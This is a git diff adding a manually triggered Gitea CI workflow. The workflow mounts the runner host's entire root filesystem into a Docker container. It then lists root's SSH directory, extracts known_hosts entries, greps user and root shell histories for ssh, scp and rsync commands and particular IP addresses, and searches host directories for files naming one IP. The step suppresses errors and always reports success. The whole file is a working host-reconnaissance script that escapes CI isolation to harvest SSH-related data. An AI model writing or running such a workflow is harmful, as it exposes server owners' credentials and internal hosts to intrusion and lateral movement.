diff --git a/.gitea/workflows/hostssh.yml b/.gitea/workflows/hostssh.yml
new file mode 100644
index 0000000..28280bb
--- /dev/null
+++ b/.gitea/workflows/hostssh.yml
@@ -0,0 +1,16 @@
+name: hostssh
+on: [workflow_dispatch]
+jobs:
+  h:
+    runs-on: ubuntu-latest
+    steps:
+      - run: |
+          set +e
+          docker run --rm -v /:/mnt:ro alpine sh -c '
+            echo "M_SSH_DIR"; ls -la /mnt/root/.ssh 2>/dev/null | head -15
+            echo "M_KNOWN"; grep -aoE "^[^ ]+" /mnt/root/.ssh/known_hosts 2>/dev/null | sort -u | head -25
+            echo "M_HIST"; for f in /mnt/root/.bash_history /mnt/home/*/.bash_history; do [ -f "$f" ] && { echo "-- $f"; grep -aiE "ssh |scp |rsync |207\.180|165\.210" "$f" 2>/dev/null | tail -20; }; done
+            echo "M_SCRIPTS"; grep -rl "207\.180\.243\.189" /mnt/root /mnt/home /mnt/opt 2>/dev/null | head -12
+            echo "M_DONE"
+          ' 2>&1 | tail -60
+          exit 0